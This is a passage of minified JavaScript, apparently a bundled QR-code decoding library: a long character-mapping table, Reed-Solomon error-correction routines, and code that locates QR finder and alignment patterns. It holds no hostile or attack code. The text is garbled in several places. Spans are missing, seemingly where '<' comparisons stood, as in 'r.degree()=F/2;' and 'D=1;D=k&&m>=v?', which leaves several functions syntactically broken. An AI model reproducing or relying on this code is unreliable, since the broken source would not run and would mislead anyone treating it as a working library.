6,58487:33331,58488:33344,58489:33369,58490:33368,58491:33373,58492:33370,58493:33375,58494:33380,58496:33378,58497:33384,58498:33386,58499:33387,58500:33326,58501:33393,58502:33399,58503:33400,58504:33406,58505:33421,58506:33426,58507:33451,58508:33439,58509:33467,58510:33452,58511:33505,58512:33507,58513:33503,58514:33490,58515:33524,58516:33523,58517:33530,58518:33683,58519:33539,58520:33531,58521:33529,58522:33502,58523:33542,58524:33500,58525:33545,58526:33497,58527:33589,58528:33588,58529:33558,58530:33586,58531:33585,58532:33600,58533:33593,58534:33616,58535:33605,58536:33583,58537:33579,58538:33559,58539:33560,58540:33669,58541:33690,58542:33706,58543:33695,58544:33698,58545:33686,58546:33571,58547:33678,58548:33671,58549:33674,58550:33660,58551:33717,58552:33651,58553:33653,58554:33696,58555:33673,58556:33704,58557:33780,58558:33811,58559:33771,58560:33742,58561:33789,58562:33795,58563:33752,58564:33803,58565:33729,58566:33783,58567:33799,58568:33760,58569:33778,58570:33805,58571:33826,58572:33824,58573:33725,58574:33848,58575:34054,58576:33787,58577:33901,58578:33834,58579:33852,58580:34138,58581:33924,58582:33911,58583:33899,58584:33965,58585:33902,58586:33922,58587:33897,58588:33862,58589:33836,58590:33903,58591:33913,58592:33845,58593:33994,58594:33890,58595:33977,58596:33983,58597:33951,58598:34009,58599:33997,58600:33979,58601:34010,58602:34e3,58603:33985,58604:33990,58605:34006,58606:33953,58607:34081,58608:34047,58609:34036,58610:34071,58611:34072,58612:34092,58613:34079,58614:34069,58615:34068,58616:34044,58617:34112,58618:34147,58619:34136,58620:34120,58688:34113,58689:34306,58690:34123,58691:34133,58692:34176,58693:34212,58694:34184,58695:34193,58696:34186,58697:34216,58698:34157,58699:34196,58700:34203,58701:34282,58702:34183,58703:34204,58704:34167,58705:34174,58706:34192,58707:34249,58708:34234,58709:34255,58710:34233,58711:34256,58712:34261,58713:34269,58714:34277,58715:34268,58716:34297,58717:34314,58718:34323,58719:34315,58720:34302,58721:34298,58722:34310,58723:34338,58724:34330,58725:34352,58726:34367,58727:34381,58728:20053,58729:34388,58730:34399,58731:34407,58732:34417,58733:34451,58734:34467,58735:34473,58736:34474,58737:34443,58738:34444,58739:34486,58740:34479,58741:34500,58742:34502,58743:34480,58744:34505,58745:34851,58746:34475,58747:34516,58748:34526,58749:34537,58750:34540,58752:34527,58753:34523,58754:34543,58755:34578,58756:34566,58757:34568,58758:34560,58759:34563,58760:34555,58761:34577,58762:34569,58763:34573,58764:34553,58765:34570,58766:34612,58767:34623,58768:34615,58769:34619,58770:34597,58771:34601,58772:34586,58773:34656,58774:34655,58775:34680,58776:34636,58777:34638,58778:34676,58779:34647,58780:34664,58781:34670,58782:34649,58783:34643,58784:34659,58785:34666,58786:34821,58787:34722,58788:34719,58789:34690,58790:34735,58791:34763,58792:34749,58793:34752,58794:34768,58795:38614,58796:34731,58797:34756,58798:34739,58799:34759,58800:34758,58801:34747,58802:34799,58803:34802,58804:34784,58805:34831,58806:34829,58807:34814,58808:34806,58809:34807,58810:34830,58811:34770,58812:34833,58813:34838,58814:34837,58815:34850,58816:34849,58817:34865,58818:34870,58819:34873,58820:34855,58821:34875,58822:34884,58823:34882,58824:34898,58825:34905,58826:34910,58827:34914,58828:34923,58829:34945,58830:34942,58831:34974,58832:34933,58833:34941,58834:34997,58835:34930,58836:34946,58837:34967,58838:34962,58839:34990,58840:34969,58841:34978,58842:34957,58843:34980,58844:34992,58845:35007,58846:34993,58847:35011,58848:35012,58849:35028,58850:35032,58851:35033,58852:35037,58853:35065,58854:35074,58855:35068,58856:35060,58857:35048,58858:35058,58859:35076,58860:35084,58861:35082,58862:35091,58863:35139,58864:35102,58865:35109,58866:35114,58867:35115,58868:35137,58869:35140,58870:35131,58871:35126,58872:35128,58873:35148,58874:35101,58875:35168,58876:35166,58944:35174,58945:35172,58946:35181,58947:35178,58948:35183,58949:35188,58950:35191,58951:35198,58952:35203,58953:35208,58954:35210,58955:35219,58956:35224,58957:35233,58958:35241,58959:35238,58960:35244,58961:35247,58962:35250,58963:35258,58964:35261,58965:35263,58966:35264,58967:35290,58968:35292,58969:35293,58970:35303,58971:35316,58972:35320,58973:35331,58974:35350,58975:35344,58976:35340,58977:35355,58978:35357,58979:35365,58980:35382,58981:35393,58982:35419,58983:35410,58984:35398,58985:35400,58986:35452,58987:35437,58988:35436,58989:35426,58990:35461,58991:35458,58992:35460,58993:35496,58994:35489,58995:35473,58996:35493,58997:35494,58998:35482,58999:35491,59e3:35524,59001:35533,59002:35522,59003:35546,59004:35563,59005:35571,59006:35559,59008:35556,59009:35569,59010:35604,59011:35552,59012:35554,59013:35575,59014:35550,59015:35547,59016:35596,59017:35591,59018:35610,59019:35553,59020:35606,59021:35600,59022:35607,59023:35616,59024:35635,59025:38827,59026:35622,59027:35627,59028:35646,59029:35624,59030:35649,59031:35660,59032:35663,59033:35662,59034:35657,59035:35670,59036:35675,59037:35674,59038:35691,59039:35679,59040:35692,59041:35695,59042:35700,59043:35709,59044:35712,59045:35724,59046:35726,59047:35730,59048:35731,59049:35734,59050:35737,59051:35738,59052:35898,59053:35905,59054:35903,59055:35912,59056:35916,59057:35918,59058:35920,59059:35925,59060:35938,59061:35948,59062:35960,59063:35962,59064:35970,59065:35977,59066:35973,59067:35978,59068:35981,59069:35982,59070:35988,59071:35964,59072:35992,59073:25117,59074:36013,59075:36010,59076:36029,59077:36018,59078:36019,59079:36014,59080:36022,59081:36040,59082:36033,59083:36068,59084:36067,59085:36058,59086:36093,59087:36090,59088:36091,59089:36100,59090:36101,59091:36106,59092:36103,59093:36111,59094:36109,59095:36112,59096:40782,59097:36115,59098:36045,59099:36116,59100:36118,59101:36199,59102:36205,59103:36209,59104:36211,59105:36225,59106:36249,59107:36290,59108:36286,59109:36282,59110:36303,59111:36314,59112:36310,59113:36300,59114:36315,59115:36299,59116:36330,59117:36331,59118:36319,59119:36323,59120:36348,59121:36360,59122:36361,59123:36351,59124:36381,59125:36382,59126:36368,59127:36383,59128:36418,59129:36405,59130:36400,59131:36404,59132:36426,59200:36423,59201:36425,59202:36428,59203:36432,59204:36424,59205:36441,59206:36452,59207:36448,59208:36394,59209:36451,59210:36437,59211:36470,59212:36466,59213:36476,59214:36481,59215:36487,59216:36485,59217:36484,59218:36491,59219:36490,59220:36499,59221:36497,59222:36500,59223:36505,59224:36522,59225:36513,59226:36524,59227:36528,59228:36550,59229:36529,59230:36542,59231:36549,59232:36552,59233:36555,59234:36571,59235:36579,59236:36604,59237:36603,59238:36587,59239:36606,59240:36618,59241:36613,59242:36629,59243:36626,59244:36633,59245:36627,59246:36636,59247:36639,59248:36635,59249:36620,59250:36646,59251:36659,59252:36667,59253:36665,59254:36677,59255:36674,59256:36670,59257:36684,59258:36681,59259:36678,59260:36686,59261:36695,59262:36700,59264:36706,59265:36707,59266:36708,59267:36764,59268:36767,59269:36771,59270:36781,59271:36783,59272:36791,59273:36826,59274:36837,59275:36834,59276:36842,59277:36847,59278:36999,59279:36852,59280:36869,59281:36857,59282:36858,59283:36881,59284:36885,59285:36897,59286:36877,59287:36894,59288:36886,59289:36875,59290:36903,59291:36918,59292:36917,59293:36921,59294:36856,59295:36943,59296:36944,59297:36945,59298:36946,59299:36878,59300:36937,59301:36926,59302:36950,59303:36952,59304:36958,59305:36968,59306:36975,59307:36982,59308:38568,59309:36978,59310:36994,59311:36989,59312:36993,59313:36992,59314:37002,59315:37001,59316:37007,59317:37032,59318:37039,59319:37041,59320:37045,59321:37090,59322:37092,59323:25160,59324:37083,59325:37122,59326:37138,59327:37145,59328:37170,59329:37168,59330:37194,59331:37206,59332:37208,59333:37219,59334:37221,59335:37225,59336:37235,59337:37234,59338:37259,59339:37257,59340:37250,59341:37282,59342:37291,59343:37295,59344:37290,59345:37301,59346:37300,59347:37306,59348:37312,59349:37313,59350:37321,59351:37323,59352:37328,59353:37334,59354:37343,59355:37345,59356:37339,59357:37372,59358:37365,59359:37366,59360:37406,59361:37375,59362:37396,59363:37420,59364:37397,59365:37393,59366:37470,59367:37463,59368:37445,59369:37449,59370:37476,59371:37448,59372:37525,59373:37439,59374:37451,59375:37456,59376:37532,59377:37526,59378:37523,59379:37531,59380:37466,59381:37583,59382:37561,59383:37559,59384:37609,59385:37647,59386:37626,59387:37700,59388:37678,59456:37657,59457:37666,59458:37658,59459:37667,59460:37690,59461:37685,59462:37691,59463:37724,59464:37728,59465:37756,59466:37742,59467:37718,59468:37808,59469:37804,59470:37805,59471:37780,59472:37817,59473:37846,59474:37847,59475:37864,59476:37861,59477:37848,59478:37827,59479:37853,59480:37840,59481:37832,59482:37860,59483:37914,59484:37908,59485:37907,59486:37891,59487:37895,59488:37904,59489:37942,59490:37931,59491:37941,59492:37921,59493:37946,59494:37953,59495:37970,59496:37956,59497:37979,59498:37984,59499:37986,59500:37982,59501:37994,59502:37417,59503:38e3,59504:38005,59505:38007,59506:38013,59507:37978,59508:38012,59509:38014,59510:38017,59511:38015,59512:38274,59513:38279,59514:38282,59515:38292,59516:38294,59517:38296,59518:38297,59520:38304,59521:38312,59522:38311,59523:38317,59524:38332,59525:38331,59526:38329,59527:38334,59528:38346,59529:28662,59530:38339,59531:38349,59532:38348,59533:38357,59534:38356,59535:38358,59536:38364,59537:38369,59538:38373,59539:38370,59540:38433,59541:38440,59542:38446,59543:38447,59544:38466,59545:38476,59546:38479,59547:38475,59548:38519,59549:38492,59550:38494,59551:38493,59552:38495,59553:38502,59554:38514,59555:38508,59556:38541,59557:38552,59558:38549,59559:38551,59560:38570,59561:38567,59562:38577,59563:38578,59564:38576,59565:38580,59566:38582,59567:38584,59568:38585,59569:38606,59570:38603,59571:38601,59572:38605,59573:35149,59574:38620,59575:38669,59576:38613,59577:38649,59578:38660,59579:38662,59580:38664,59581:38675,59582:38670,59583:38673,59584:38671,59585:38678,59586:38681,59587:38692,59588:38698,59589:38704,59590:38713,59591:38717,59592:38718,59593:38724,59594:38726,59595:38728,59596:38722,59597:38729,59598:38748,59599:38752,59600:38756,59601:38758,59602:38760,59603:21202,59604:38763,59605:38769,59606:38777,59607:38789,59608:38780,59609:38785,59610:38778,59611:38790,59612:38795,59613:38799,59614:38800,59615:38812,59616:38824,59617:38822,59618:38819,59619:38835,59620:38836,59621:38851,59622:38854,59623:38856,59624:38859,59625:38876,59626:38893,59627:40783,59628:38898,59629:31455,59630:38902,59631:38901,59632:38927,59633:38924,59634:38968,59635:38948,59636:38945,59637:38967,59638:38973,59639:38982,59640:38991,59641:38987,59642:39019,59643:39023,59644:39024,59712:39025,59713:39028,59714:39027,59715:39082,59716:39087,59717:39089,59718:39094,59719:39108,59720:39107,59721:39110,59722:39145,59723:39147,59724:39171,59725:39177,59726:39186,59727:39188,59728:39192,59729:39201,59730:39197,59731:39198,59732:39204,59733:39200,59734:39212,59735:39214,59736:39229,59737:39230,59738:39234,59739:39241,59740:39237,59741:39248,59742:39243,59743:39249,59744:39250,59745:39244,59746:39253,59747:39319,59748:39320,59749:39333,59750:39341,59751:39342,59752:39356,59753:39391,59754:39387,59755:39389,59756:39384,59757:39377,59758:39405,59759:39406,59760:39409,59761:39410,59762:39419,59763:39416,59764:39425,59765:39439,59766:39429,59767:39394,59768:39449,59769:39467,59770:39479,59771:39493,59772:39490,59773:39488,59774:39491,59776:39486,59777:39509,59778:39501,59779:39515,59780:39511,59781:39519,59782:39522,59783:39525,59784:39524,59785:39529,59786:39531,59787:39530,59788:39597,59789:39600,59790:39612,59791:39616,59792:39631,59793:39633,59794:39635,59795:39636,59796:39646,59797:39647,59798:39650,59799:39651,59800:39654,59801:39663,59802:39659,59803:39662,59804:39668,59805:39665,59806:39671,59807:39675,59808:39686,59809:39704,59810:39706,59811:39711,59812:39714,59813:39715,59814:39717,59815:39719,59816:39720,59817:39721,59818:39722,59819:39726,59820:39727,59821:39730,59822:39748,59823:39747,59824:39759,59825:39757,59826:39758,59827:39761,59828:39768,59829:39796,59830:39827,59831:39811,59832:39825,59833:39830,59834:39831,59835:39839,59836:39840,59837:39848,59838:39860,59839:39872,59840:39882,59841:39865,59842:39878,59843:39887,59844:39889,59845:39890,59846:39907,59847:39906,59848:39908,59849:39892,59850:39905,59851:39994,59852:39922,59853:39921,59854:39920,59855:39957,59856:39956,59857:39945,59858:39955,59859:39948,59860:39942,59861:39944,59862:39954,59863:39946,59864:39940,59865:39982,59866:39963,59867:39973,59868:39972,59869:39969,59870:39984,59871:40007,59872:39986,59873:40006,59874:39998,59875:40026,59876:40032,59877:40039,59878:40054,59879:40056,59880:40167,59881:40172,59882:40176,59883:40201,59884:40200,59885:40171,59886:40195,59887:40198,59888:40234,59889:40230,59890:40367,59891:40227,59892:40223,59893:40260,59894:40213,59895:40210,59896:40257,59897:40255,59898:40254,59899:40262,59900:40264,59968:40285,59969:40286,59970:40292,59971:40273,59972:40272,59973:40281,59974:40306,59975:40329,59976:40327,59977:40363,59978:40303,59979:40314,59980:40346,59981:40356,59982:40361,59983:40370,59984:40388,59985:40385,59986:40379,59987:40376,59988:40378,59989:40390,59990:40399,59991:40386,59992:40409,59993:40403,59994:40440,59995:40422,59996:40429,59997:40431,59998:40445,59999:40474,6e4:40475,60001:40478,60002:40565,60003:40569,60004:40573,60005:40577,60006:40584,60007:40587,60008:40588,60009:40594,60010:40597,60011:40593,60012:40605,60013:40613,60014:40617,60015:40632,60016:40618,60017:40621,60018:38753,60019:40652,60020:40654,60021:40655,60022:40656,60023:40660,60024:40668,60025:40670,60026:40669,60027:40672,60028:40677,60029:40680,60030:40687,60032:40692,60033:40694,60034:40695,60035:40697,60036:40699,60037:40700,60038:40701,60039:40711,60040:40712,60041:30391,60042:40725,60043:40737,60044:40748,60045:40766,60046:40778,60047:40786,60048:40788,60049:40803,60050:40799,60051:40800,60052:40801,60053:40806,60054:40807,60055:40812,60056:40810,60057:40823,60058:40818,60059:40822,60060:40853,60061:40860,60062:40864,60063:22575,60064:27079,60065:36953,60066:29796,60067:20956,60068:29081}},function(N,u,P){"use strict";Object.defineProperty(u,"__esModule",{value:!0});var g=P(1),f=P(2);function l(E,r,a,F){var d;r.degree()=F/2;){var x=D,B=w;if(D=i,w=A,D.isZero())return null;i=x;for(var e=E.zero,C=D.getCoefficient(D.degree()),t=E.inverse(C);i.degree()>=D.degree()&&!i.isZero();){var n=i.degree()-D.degree(),k=E.multiply(i.getCoefficient(i.degree()),t);e=e.addOrSubtract(E.buildMonomial(n,k)),i=i.addOrSubtract(D.multiplyByMonomial(n,k))}if(A=e.multiplyPoly(w).addOrSubtract(B),i.degree()>=D.degree())return null}var m=A.getCoefficient(0);if(m===0)return null;var v=E.inverse(m);return[A.multiply(v),i.multiply(v)]}function s(E,r){var a=r.degree();if(a===1)return[r.getCoefficient(1)];for(var F=new Array(a),d=0,D=1;D=k&&m>=v?(e=[x,A,B],M=e[0],p=e[1],h=e[2]):v>=m&&v>=k?(C=[A,x,B],M=C[0],p=C[1],h=C[2]):(t=[A,B,x],M=t[0],p=t[1],h=t[2]),(h.x-p.x)*(M.y-p.y)-(h.y-p.y)*(M.x-p.x)<0&&(n=[h,M],M=n[0],h=n[1]),{bottomLeft:M,topLeft:p,topRight:h}}function E(A,x,B,e){var C=(c(a(A,B,e,5))/7+c(a(A,x,e,5))/7+c(a(B,A,e,5))/7+c(a(x,A,e,5))/7)/4;if(C<1)throw new Error("Invalid module size");var t=Math.round(s(A,x)/C),n=Math.round(s(A,B)/C),k=Math.floor((t+n)/2)+7;switch(k%4){case 0:k++;break;case 2:k--;break}return{dimension:k,moduleSize:C}}function r(A,x,B,e){var C=[{x:Math.floor(A.x),y:Math.floor(A.y)}],t=Math.abs(x.y-A.y)>Math.abs(x.x-A.x),n,k,m,v;t?(n=Math.floor(A.y),k=Math.floor(A.x),m=Math.floor(x.y),v=Math.floor(x.x)):(n=Math.floor(A.x),k=Math.floor(A.y),m=Math.floor(x.x),v=Math.floor(x.y));for(var M=Math.abs(m-n),p=Math.abs(v-k),h=Math.floor(-M/2),I=n0){if(T===v)break;T+=b,h-=M}}for(var X=[],L=0;L=U.bottom.startX&&Y<=U.bottom.endX||$>=U.bottom.startX&&Y<=U.bottom.endX||Y<=U.bottom.startX&&$>=U.bottom.endX&&L[2]/(U.bottom.endX-U.bottom.startX)f});Z.length>0?Z[0].bottom=Q:B.push({top:Q,bottom:Q})}if(e0){var q=G-L[4],J=q-L[3],Q={startX:J,y,endX:q},Z=C.filter(function(R){return J>=R.bottom.startX&&J<=R.bottom.endX||q>=R.bottom.startX&&J<=R.bottom.endX||J<=R.bottom.startX&&q>=R.bottom.endX&&L[2]/(R.bottom.endX-R.bottom.startX)f});Z.length>0?Z[0].bottom=Q:C.push({top:Q,bottom:Q})}}},j=-1;j<=A.width;j++)K(j);x.push.apply(x,B.filter(function(G){return G.bottom.y!==y&&G.bottom.y-G.top.y>=2})),B=B.filter(function(G){return G.bottom.y===y}),e.push.apply(e,C.filter(function(G){return G.bottom.y!==y})),C=C.filter(function(G){return G.bottom.y===y})},n=0;n<=A.height;n++)t(n);x.push.apply(x,B.filter(function(y){return y.bottom.y-y.top.y>=2})),e.push.apply(e,C);var k=x.filter(function(y){return y.bottom.y-y.top.y>=2}).map(function(y){var z=(y.top.startX+y.top.endX+y.bottom.startX+y.bottom.endX)/4,X=(y.top.y+y.bottom.y+1)/2;if(A.get(Math.round(z),Math.round(X))){var L=[y.top.endX-y.top.startX,y.bottom.endX-y.bottom.startX,y.bottom.y-y.top.y+1],K=c(L)/L.length,j=d({x:Math.round(z),y:Math.round(X)},[1,1,3,1,1],A);return{score:j,x:z,y:X,size:K}}}).filter(function(y){return!!y}).sort(function(y,z){return y.score-z.score}).map(function(y,z,X){if(z>g)return null;var L=X.filter(function(j,G){return z!==G}).map(function(j){return{x:j.x,y:j.y,score:j.score+Math.pow(j.size-y.size,2)/y.size,size:j.size}}).sort(function(j,G){return j.score-G.score});if(L.length<2)return null;var K=y.score+L[0].score+L[1].score;return{points:[y].concat(L.slice(0,2)),score:K}}).filter(function(y){return!!y}).sort(function(y,z){return y.score-z.score});if(k.length===0)return null;var m=o(k[0].points[0],k[0].points[1],k[0].points[2]),v=m.topRight,M=m.topLeft,p=m.bottomLeft,h=w(A,e,v,M,p),I=[];h&&I.push({alignmentPattern:{x:h.alignmentPattern.x,y:h.alignmentPattern.y},bottomLeft:{x:p.x,y:p.y},dimension:h.dimension,topLeft:{x:M.x,y:M.y},topRight:{x:v.x,y:v.y}});var b=D(A,v),S=D(A,M),O=D(A,p),T=w(A,e,b,S,O);return T&&I.push({alignmentPattern:{x:T.alignmentPattern.x,y:T.alignmentPattern.y},bottomLeft:{x:O.x,y:O.y},topLeft:{x:S.x,y:S.y},topRight:{x:b.x,y:b.y},dimension:T.dimension}),I.length===0?null:I}u.locate=i;function w(A,x,B,e,C){var t,n,k;try{t=E(e,B,C,A),n=t.dimension,k=t.moduleSize}catch{return null}var m={x:B.x-e.x+C.x,y:B.y-e.y+C.y},v=(s(e,C)+s(e,B))/2/k,M=1-3/v,p={x:e.x+M*(m.x-e.x),y:e.y+M*(m.y-e.y)},h=x.map(function(b){var S=(b.top.startX+b.top.endX+b.bottom.startX+b.bottom.endX)/4,O=(b.top.y+b.bottom.y+1)/2;if(A.get(Math.floor(S),Math.floor(O))){var T=[b.top.endX-b.top.startX,b.bottom.endX-b.bottom.startX,b.bottom.y-b.top.y+1],y=c(T)/T.length,z=d({x:Math.floor(S),y:Math.floor(O)},[1,1,1],A),X=z+s({x:S,y:O},p);return{x:S,y:O,score:X}}}).filter(function(b){return!!b}).sort(function(b,S){return b.score-S.score}),I=v>=15&&h.length?h[0]:p;return{alignmentPattern:I,dimension:n}}}]).default})});var c0=s0(B0());var export_default=c0.default;export{export_default as default};